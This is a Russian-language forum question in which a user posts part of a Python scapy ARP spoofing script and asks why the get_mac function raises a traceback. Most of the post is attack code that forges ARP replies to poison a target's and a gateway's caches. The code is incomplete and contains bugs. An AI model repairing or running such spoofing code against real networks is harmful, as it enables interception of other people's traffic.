Ошибка трассировки при выполнении моего скрипта arp_spoofing - PullRequest
0 голосов
/ 06 ноября 2019

Это часть моего кода. Проблема связана с классом def get_mac (ip)

#!/usr/bin/env python

import scapy.all as scapy
import time
import sys

Здесь создается переменная spoof (ip)

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc

Здесь мы подделываем цель

def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    target_mac = get_mac(target_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
[...]

target_ip = "..."
gateway_ip = "..."
sent_packet_count = 0

Код не может достичь этой части

try:
    spoof("target_ip", "gateway_ip")
    spoof("gateway_ip", "target_ip")
    sent_packet_count = sent_packet_count + 2
    print("\r[+] Packets sent: " + str(sent_packet_count)),
    sys.stdout.flush()
    time.sleep(2)
...